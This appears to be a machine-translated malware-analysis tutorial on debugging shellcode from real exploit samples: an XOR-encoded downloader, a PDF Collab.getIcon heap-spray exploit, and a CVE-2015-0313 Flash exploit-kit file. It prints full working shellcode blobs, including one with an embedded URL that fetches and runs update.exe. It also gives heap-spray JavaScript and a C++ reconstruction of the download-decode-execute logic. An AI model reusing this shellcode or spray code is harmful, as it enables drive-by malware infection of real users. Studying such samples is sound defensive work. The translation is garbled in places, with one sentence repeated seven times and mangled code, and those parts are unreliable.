Blast, 2015/06/08 10:03

The fourth and final chapter in the Script Pioneer series. It will introduce the debugging of Shellcode, as well as the simple process of using SWF and PDF vulnerability files.

The next part:

IE Security Series: Mainstay (I) – A simple introduction to the JScript 5 interpreter handling basic types, functions, and more

The Javascript parser used in IE has experienced many years of hone, and finally divided into two big versions in version 5, 5 after 9, the relationship between the two and the different ways of processing some content, the first of these two articles will be on Jscript 5.8 engine word processing, function call and so on to do a simple introduction.

IE Security series: Mainstay (II) — A simple introduction to compiled bytecode from JScript 9 (Charka)

The performance of Jscript 9 has improved greatly over the years, and the differences between 9 and 5 in handling some basic types of data will be briefly described in this article, which will have a similar introduction to (I), but for Charka’s scripting flow. (This idiom, I suppose, can also be used in the same way…)

VI. 1 debug Shellcode

In the previous article (v.2), we left a Shellcode that was encrypted with XOR 0xE2 throughout. In this article, we will decrypt it using debugging tools.

The SHELLCODE after escape is as follows:

#! javascript %u0C0C%u6090%u1CEB%u4B5B%uC933%uB966%u03F8%u3B81%u0BFF%uE160%u850F%u0254%u0000%u3480%uE20B%uFAE2%u05EB%uDFE8%uFFFF%u0BFF %uE160%uE2E2%u86BD%uD243%uE2E2%u69E2%uEEA2%u9269%u4FFE%u8A69%u69EA%u8815%uBBED%uC00A%uE2E1%u72E2%u1A00%uD18A%uE2D0%u8AE2 %u91B7%u9087%u69B6%uEEA4%u720A%uE2E0%u69E2%u880A%uBBE3%uE00A%uE2E1%u00E2%u8A1B%u8C8D%uE2E2%u978A%u8E90%uB68F%uF41D%u2267 %uF197%u8D8A%uE28C%u8AE2%u9097%u8F8E%u69B6%uEEA4%u820A%uE2E0%u69E2%u880A%uBBE3%u300A%uE2E0%u00E2%u8A1B%uD18E%uE2D0%u918A %u878A%uB68E%uA469%u0AEE%uE0A3%uE2E2%u0A69%uE388%u0ABB%uE051%uE2E2%u1B00%u0E63%uE3E2%uE2E2%u3E69%u2163%uE262%uE2E2%uE288 %uF888%u88B1%u1DE2%uA6B4%u22D1%u62A2%uE1DE%u97E2%u6B1B%u7264%uE2E2%u25E2%uE1E6%u83BE%u87CC%uA625%uE6E1%u879A%uE2E2%u2BD1 %uB3B3%uB5B1%uD1B3%u6922%uA2A4%u0C0A%uE2E3%u61E2%uE21A%u67ED%uE37E%uE2E2%uE288%uE288%uE188%uE288%uE088%uE28A%uE2E2%uB122 %uA469%u0AC6%uE32F%uE2E2%u1A61%uED1D%u9966%uE2E3%u6BE2%u82A4%uE288%u1DB2%uCAB4%uA46B%u6986%u7264%uE2E2%u25E2%uE1E6%u80BE %u87CC%uA625%uE6E1%u879A%uE2E2%uE288%uE288%uE088%uE288%uE288%uE28A%uE2E2%uB1A2%uA469%u0AC6%uE369%uE2E2%u1A61%uED1D%uDB66 %uE2E3%u6BE2%u6664%uE2E2%u6BE2%u6E7C%uE2E2%u69E2%u82A4%uE288%uE288%uE288%uA469%uB282%uB41D%u25DA%u92A4%uE2E2%uE2E2%uA425 %uE296%uE2E2%u63E2%uE225%uE2E0%uD1E2%u6939%u86BC%uE288%uA46F%uB292%uE28A%uE2E6%uB5E2%u941D%u1D82%uE6B4%u2BD1%uE25B%uE2E6 %u62E2%uED9E%u771D%uEE96%u9E62%u1DED%u96E2%u62E7%uED96%u771D%u0900%u2169%uE2CF%uE2E6%u61E2%uE21A%uE19D%uBC6B%u8892%u6FE2 %u96A4%u1DB2%u9294%u1DB5%u6654%uE2E2%u1DE2%uD2B4%u0963%uE6E2%uE2E2%u1961%u9DE2%u1D47%u8294%uB41D%u1DD6%u6654%uE2E2%u1DE2 %uD6B4%u6469%uE272%uE2E2%u7C69%uE26E%uE2E2%uE625%uBEE1%uCC83%uB187%uB41D%u69CE%u6E5C%uE2E2%u69E2%u7264%uE2E2%u25E2%uE5E6 %u80BE%u87CC%u0E63%uE3E2%uE2E2%u3E69%uE28A%uE2E3%uB1E2%uE28A%uE2E3%uB5E2%uE288%uE288%uB41D%u69FE%uD119%uD122%u6339%uE20E %uE2E0%u69E2%u612E%uB61A%uEA9F%uFE6B%u61E3%uE622%u1109%u2E69%u3B69%u2161%uD1F2%uB222%uB1B3%uB2B2%uB2B2%uB2B2%uB2B5%u69B2 %uEAA4%u650A%uE2E2%u63E2%uFA26%uE2E6%u83E2%uA425%uE1F6%uE2E2%uD1E2%u692B%uC6DE%u0D61%u6194%uEA26%u2BD1%u051D%uE288%uB41D %u86F6%uD243%uE2E2%u69E2%uEEA2%u9269%u4FFE%u8A69%u69EA%u6B15%u86B4%uE688%u0ABB%uE241%uE2E2%u0072%u8A1A%uD0D1%uE2E2%uB78A %u8791%uB690%uE469%uF00A%uE2E2%u69E2%u880A%uBBE7%u660A%uE2E2%u00E2%uD11B%uB51D%uB41D%u62E6%u0ADA%uDA62%u970B%u63F3%uE79A %u7272%u7272%uEA96%u1D69%u69B7%u6F0E%uE7A2%u021D%uDA0A%uE2E2%u21E2%uDA62%u620A%u0BDA%uF397%u9A63%u72E7%u7272%u9672%u8A05 %uE8EA%uE2E2%uA26F%u1DE7%u0A02%uE2F5%uE2E2%u0A21%uE2F3%uE2E2%uF35A%uE6E3%u2062%uE2EE%uE009%u21BA%u1B0A%u1D1D%uB91D%uE524 %u6B5A%uE3BD%u2584%uE7A5%u021D%uB121%u3E69%u88B1%u8AA2%uF2E2%uE2E2%u69B5%uC2A4%u640A%u1D1D%uBA1D%uB321%u69B4%uDE97%u9669 %u9ACC%u17E1%u69B4%uC294%u17E1%u2BD1%uA3AB%uE14F%uD127%uED39%uF25C%u34D8%uEA96%u2923%uE1E5%uA238%u1309%uFDD9%u0597%u69BC %uC6BC%u3FE1%u6984%uA9EE%uBC69%uE1FE%u693F%u69E6%u27E1%uBC49%u21BB%u9B0A%u1D1E%u501D%u0010%u5016%uEDD4%u12F1%u99AA%uD0DF %u7396%u67EE%u4D3D%u8159%u336B%uB3AD%u58A2%uE59D%uC070%uFC92%u8646%u710D%u06D0%u6C76%uE8F1%u9B4E%u04DB%u267A%uFD6F%uB596 %uEF84%uA11D%u4E5C%u7A39%uF2E8%u621A%u4D34%u1978%uF7B1%u8A84%u9696%uD892%uCDCD%u8083%uCC8C%u8C86%uD291%uD7D5%uCCD7%u878C %uCD96%uCD86%u8686%uCC86%u9A87%uE287%uE2E2Copy the code

Put these shellcodes into the root of the EXE to form an EXE, as attached in Resources (1).

Warning If you unzip the program, your antivirus software may raise an alarm. This is because the Shellcode has been featured in multiple anti-virus software repositories. Perform this operation in a virtual environment or temporarily disable the antivirus software.

CALL 405006 pushes the address of the next instruction, so POP EBX at 00405006 actually gets the address of the next instruction.

The ECX = 0x3F8 statement is used to tell the following LOOP how many times (0x3F8) it should LOOP, which is also the encrypted string length.

And then, the next sentence doesn’t really mean much, just to make sure I’m decrypting the right thing,

This is followed by a JNZ instruction, and you can see that OllyDbg was preceded by a parsing error. OD parsing is a combination of DB, TEST and DB data + instruction. Comparing the result of IDA, we can know that this is a JNZ, which is actually followed by CMP, which is also a jump instruction in nine cases out of ten.

Select three rows and right-click Analysis-Remove Analysis from Selection to restore the normal statement.

The next XOR+LOOP is the classic “encryption/decryption”, a big ox also called XOR decryption, one of the three encryption algorithms in China. The decryption key is obviously 0xE2.

The breakpoint is set on the next line of LOOP to obtain the decrypted content, but OD still fails to parse. We manually select the content around 0x5033-0x3F8 and repeat the process of Remove Analysis to obtain the basically correct code:

After the treatment:

4053AE is still a CALL and goes back to 40502C, the next line of JMP in the figure above. I think it’s easy to understand why I’m doing this, but as before, the statement after 4053AE is probably a constant, and 40502C also has a POP EDI statement.

Because we had a lot of Remove analysis before, the constants in the back were also treated as code, which was easy to find because there were a lot of unknown codes in it:

To reanalyze this section, right-click Analysis Code:

Let’s pretend we don’t see anything and continue debugging the code.

30, 0c, 1c, and 8 are all familiar numbers, and you can be sure that this is the first thing that each Shellcode needs to do to get a LoadLibrary address.

The CALL of 405369 will get the desired function address. Comparing strings can take up a lot of space, so it hashes function names:

The pseudo-code is as follows:

#! c++ DWORD dwHash; CHAR chFuncName; while(chFuncName = szWindowsAPIName++) { dwHash += chFuncName; _ROR(dwHash, 7); }Copy the code

The HASH algorithm can still be roughly accurate when it comes to function names, which are hundreds of modules per module,

In this case, the HASH of the function they want to fetch is stored nearby, and the HASH of the function will be overwritten after obtaining the address of the function. The visible space is relatively compact:

After that, I directly wrote the action of the Shellcode into C++ code for your reference. I skipped the code to obtain the details of the function address. It is not guaranteed to be compilable, but if it needs to be compiled, it should be simply modified:

#! C++ HMODULE HMODULE = LoadLibraryA(" User32 "); GetAddressFromModule (hModule, "GetModuleHandleA"); // Get the address of the function itself, instead of using the system GetProcAddress. If (GetModuleHandleA(" urlmon ") == NULL) {hModule = LoadLibrary(" urlmon "); } GetAddressFromModule (hModule, "URLDownloadToFileA"); HModule = LoadLibraryA (" shell32 "); GetAddressFromModule (hModule, "SHGetSpecialFolderPathA"); CHAR buffer[MAX_PATH]; SHGetSpecialFolderPathA(0, buffer, 0x1a, 0); //APPDATA strcat(buffer + strlen(buffer), "\a. xe"); Do {if (URLDownloadToFileA(0, MALICIOUS_URL, buffer, 0, 0) == S_OK) { HANDLE hFile = CreateFileA(buffer, 0xC0000000, 2, 0, 3, 0, 0); College if (hFile! = INVALID_HANDLE) { DWORD dwFileSizeLo = GetFileSize(hFile, 0); CHAR buffer_otherone[1024]; Buffer [strlen(buffer) -5] = 'b'; HANDLE hFile2 = CreateFileA(buffer, 0x40000000, 0, 0, 2, 0, 0); HANDLE hFile2 = CreateFileA(buffer, 0x40000000, 0, 0, 2, 0, 0); if(hFile2 == INVALID_HANDLE) break; SetFilePointer(hFile, 0, NULL, FILE_BEGIN); DWORD dwPos = 0; while(dwPos < dwFileSizeLo) { ReadFile(hFile, buffer_otherone, 1024, dwBytesRead, NULL); dwPos += 1024; for(int i=0; i<1024; ++i) { if(buffer_otherone[i] ! = 0 && buffer_otherone[i] ! = 0x95) buffer_otherone[i] ^= 0x95; } // If (hFile2, buffer_otherone, 1024, 0, 0) {return WriteFile(hFile2, buffer_otherone, 1024, 0, 0); } CloseHandle(hFile); CloseHandle(hFile2); Buffer [strlen(buffer) -5] = 'a'; DeleteFileA(buffer); Buffer [strlen(buffer) -5] = 'b'; WCHAR bufferw[256]; MultiByteToWideChar(buffer, CP_ACP, 0, buffer, 256, bufferw, 256); CreateProcessInternalW(0,0, bufferw, 0,0, 0,0); }}}while(0); ExitProcess(0);Copy the code

MALICIOUS_URL is the only one, I will not post it, or I will send a link to others:

VI.2 Shellcode in PDF

Adobe PDF Reader is a tool that is widely used around the world and can be instantiated in Internet Explorer. Therefore, PDF vulnerabilities are an important part of the vulnerabilities that attackers are keen to exploit and exploit. PDF also allows Javascript execution, which exacerbates its security problems. This section will briefly explain how to extract Shellcode from a PDF.

PDF has obvious “section” (x x obj) and “section” information (surrounded by double Angle brackets). In order to control the size of PDF, PDF is supported by a variety of compression methods, one way is zlib algorithm compression, Sections compressed in this way are shown below and can be distinguished from FlateDecode.

Between the stream-endstream is the compressed content, and the first word of the content is an “X”.

Of course, PDF also supports plaintext storage and even direct internal execution of JS, such as:

16 0 obj-endobj in the middle is the JS script.

For the analysis of PDF, you can refer to the Redoce tool I put out before. You can decompress the compressed part specifically. For example, the compressed content in the picture is obviously garbage after decompression, so you can skip it:

The attached example contains malicious code in clear text, so it should be fairly simple to read its code and extract Shellcode.

Another point is that JS in PDF is not much “standard”, there is an obvious feature is that its content will go through a layer of encoding, for example, the image \ is all encoded into \, tools can do simple cleaning, as shown in the image.

In fact, after cleaning up, there are a lot of \ “, although there will be no syntax error, but it still looks very awkward, you can also manually delete these \. There are also introductory examples (? function … Need to manually delete into (function… .

The cleaned code is in the pdF.js.txt of attachment malicious_vi.rar.

Take a quick look at the code, and while it’s obvious that the awn5fmmtY variable is Shellcode, and at least most of it, take a look:

After a bit of reading, you can see that app[‘ eval ‘](XXXX) is used here. As you can see, not that it’s replacing anything, but that the EVAL function in PDF actually belongs to app objects, not window objects. See Reference 2, Adobe development Materials, for details.

And that’s what’s going to happen

In order not to make the picture too big, I have reduced the size. Please refer to the attachment for details.

Awn5fmmtY = unescape(awn5fmmty.join (“”)); Outputs the Array as a string. And then a simple stack spray process,

If we change the variable manually, we can see it clearly:

#! c++ var fK2iJohU = 0x400000; var mTcRGdIAFp = awn5fmmtY.length * 2; var kIkwRkWL = fK2iJohU - (mTcRGdIAFp + 0x38); var sR4ZJ8w7ci = unescape("%u9090%u9090"); sR4ZJ8w7ci = xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL); var lFu82BhUm = (h8qcONPj - 0x400000) / fK2iJohU; for(var ho7zfzSpA2 = 0; ho7zfzSpA2 < lFu82BhUm; ho7zfzSpA2++) { rTq8VBM7[ho7zfzSpA2] = sR4ZJ8w7ci + awn5fmmtY; }Copy the code

The code to make it easier to read is:

#! c++ var arr = new Array(); var blockSize = 0x400000; var shellcodeSize = shellcode.length * 2; var spraySize = blockSize - (shellcodeSize + 0x38); var nops = unescape("%u9090%u9090"); nops = extendStrForXXTimes(nops, spraySize); var sprayTarget = 0x0c0c0c0c; var fillTimes = (sprayTarget - 0x400000) / blockSize; for(var i = 0; i < fillTimes; i++) { arr[i] = nops + shellcode; }Copy the code

So, does this code look familiar? By the way, this is true of any heap spray JS code. This PDF actually exploits the overflow vulnerability of PDF’s app.doc.collab.geticon () function, which does not check the file name length and directly copies it into the buffer, which is a classic overflow vulnerability. When using the file name, you need to add a specific representation, such as N.doc in the following figure, otherwise you cannot enter the part with vulnerabilities. Heap spray in Adobe JavaScript was very stable at the time:

There is an analysis process on the website for specific details, which will not be mentioned here. Shellcode can be looked at briefly.

The extracted Shellcode is as follows:

#! c++ %u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440 %u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068 %u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee %u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89 %uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea %u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400 %u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156 %u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52 %u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461 %u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00 %uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6 %ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31 %u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1 %u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002 %u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e %u616f%u5464%u466f%u6c69%u4165%u7500%u6470%u7461%u2e65%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u692f %u6b6e%u616b%u2e6b%u6e63%u652f%u746e%u7265%u752f%u6470%u7461%u2e65%u6870%u3f70%u6469%u333d%u7226%u7465%u6f3d%u006b%u9000Copy the code

Through simple processing, we can see that it is a simple URLDownloadToFile. Since %u0000 does not affect the process, shellcode with 0 is supported, which makes its size much smaller. Let’s do a little debugging. Attach shellcode to exe (attachment malicious2.exe.txt).

The code is quite simple:

First PUSHFD, then use POP EBP, SUB EBP,0D to construct a stack frame.

Then there are the common values of fs:30, 0c, 1c, 8 and 34. The rest of the text is self-explanatory.

That is, look up the address of GetTempPathA (eBP +15e) and save it at eBP +14e.

Then, again, you can see that the call at 0x405053 actually calls GetTempPathA, where you get the temporary directory location, and then

Here LoadLibrary at EBP+245 (urlmon.dll), then GetProcAddress gets the address of the function at EBP+250 (URLDownloadToFileA), and finally calls URLDownloadToFileA. EBP+278 URL saved to EBP+15E (%temp%\update.exe) :

Call EBP+15E function (WinExec) here to execute the downloaded program:

% Temp %\crash.php = % Temp %\crash.php = % Temp %\crash.php = % Temp %\crash.php = % Temp %\crash.php = % Temp %\crash.php = % Temp %\crash.php

The main purpose of this Shellcode is to be the downloader, so it’s done perfectly. Let’s take a look at its relative: SWF.

VI.3 Shellcode in SWF

As mentioned in the previous section, SWF relies on Adobe Flash Player, the most popular multimedia interactive program on the Internet at present, and the number of SWF users will only be larger than that of ITS fellow PDF users, but SWF is also known as the star in the eyes of vulnerability users due to the high incidence of SWF vulnerabilities. For decompilation of SWF, you can rely on Eltima Software’s Flash Decompiler Trillix, or other AS files.

In terms of SWF itself, there are two common compression modes. The file header is represented by CWS using compression, and the file header is represented by Zlib algorithm, while the file header is not compressed.

My tool also provides automatic decompression of SWF, because some webmasters will store urls in plain text, so it is still convenient for virus researchers to catch the URL after processing, as shown below:

Next you can read SWF’s ActionScript, refer to the ActionScript 3.0 Bible, which is a very detailed reference book, or any other resources you have that can help you quickly read AS.

The malicous3.swf. TXT in the attachment is the utilization file of CVE-2015-0313. This vulnerability is a UAF problem of Flash Player, and there are many details on the Internet. Here we will give some explanations for the process from SWF to AS:

Load the SWF file using Flash Decompiler Trillix.

AS you can see, there are three classes in the AS script. This SWF file is captured from the use of AEK, AEK provides for others to use things are highly confused, this is no exception, so the names of each class have been confused.

One small problem is that AEK is a bug kit, or software that is sold to someone to cheat someone else, not a bug name. A domestic software once suggested that AEK is a vulnerability, which is actually incorrect. I will not screen the specific name:

Worker objects can be used in AS3.0, and object 3 can also be shared between Worker objects. The vulnerability code is executed by triggering the vulnerability in the MessageChannel attribute shared between the main execution thread and the Worker. There are three main steps:

  1. SetSharedProperty sets a ByteArray object as a shared property
  2. Set this ByteArray to domainMemory
  3. The worker calls getSharedProperty to get the memory and then callsByteArray::ClearEmpty it. After Clear, domainMemory did not empty the memory, resulting in the presence of UAF.

Then, let’s read the SWF code first:

#! C++ In &.as: private static var 5:&; 5 = new &();Copy the code

The logic here is so connected that “5” can be seen as an instance of class “&”.

This.4 = “BAPO6SgZH…. “in class &::&() ; As a result,

In function 7(), loc1 is actually the string of characters after ‘this.4’.

The function ‘() is defined as follows:

It’s too painful to look at, and Adobe Flash Professional CS5’s coloring is messed up because of this confusion, so let’s manually replace the values.

First, read ‘()’ briefly to know that it’s some sort of decryption function, so I’ll just change it to decode();

Then do a similar simple read-replace for constants:

The final result is:

It makes the code look a lot easier, and you don’t have to wonder what all the code names are. Use the syntax check function, after the check can execute the code to let it spit out the results.

Create a new AS project and paste the script into it.

Decode returns the result of decoding the BASE64 class by tracing it in this code:

#! c++ while (i < myDecodedStr.length) { n = n + 1 & 255; loc6 = (myByteArray[n] & 255) + loc6 & 255; loc10 = myByteArray[n]; myByteArray[n] = myByteArray[loc6]; myByteArray[loc6] = loc10; loc9 = (myByteArray[n] & 255) + (myByteArray[loc6] & 255) & 255; myDecodedStr[i] = myDecodedStr[i] ^ myByteArray[loc9]; ++i; }Copy the code

After running, the output is decrypted. If you look closely, it is RC4.

Ctrl+Enter stuck for a while, run result:

FileReference class (import flash.net.FileReference; import flash.net.FileReference;

And then the saved is the decrypted content. If Flash Decompiler decompilers the SWF and it crashes, you can use a similar tool, such as FFD

After opening it, you can see that the class name is very happy. AEK’s encryption has been crazy enough to put all RC4 encryption codes that it thinks may threaten its own into binary data, which can be extracted and decompressed on site when using.

It’s too painful to read, so please post the details.

The logic here is: if (! _a_-___-) _a-_ – ()), and the xOR value is a-.

This is its RC4 encryption Key, 2 sets of keys, 16 bytes each.

Finally, ROP is made here and Shellcode is used. Reference (5) also solves a similar SWF file, in which the RC4 decryption code can be used for reference.

The code used in the solved Shellcode is very simple, which is similar to the previous section. The relevant functions of WinHTTP are used to access the website and XXTEA is used to decrypt it:

If it’s Shellcode, execute it directly;

If it is a DLL, download and call RegsVR32 /s to register (and actually start) it.

This is the end of Shellcode chapter. Limited by space and personal ability, there are still many things that cannot be covered. Some actual combat content will be covered in the following chapters.

The resources

(1) In the attachment, please close the anti-virus software and debug in the virtual environment. The Shellcode of netma is relatively old, and Windows XP SP3 is recommended for the debugging environment of EXE.

(2] http://www.adobe.com/devnet/acrobat/javascript.html

(3] Communicating between workers http://help.adobe.com/en_US/as3/dev/WS2f73111e7a180bd0-5856a8af1390d64d08c-7ffe.html

(4] http://www.expl0it-db.com/

(5] http://www.cnblogs.com/Lamboy/p/4278066.html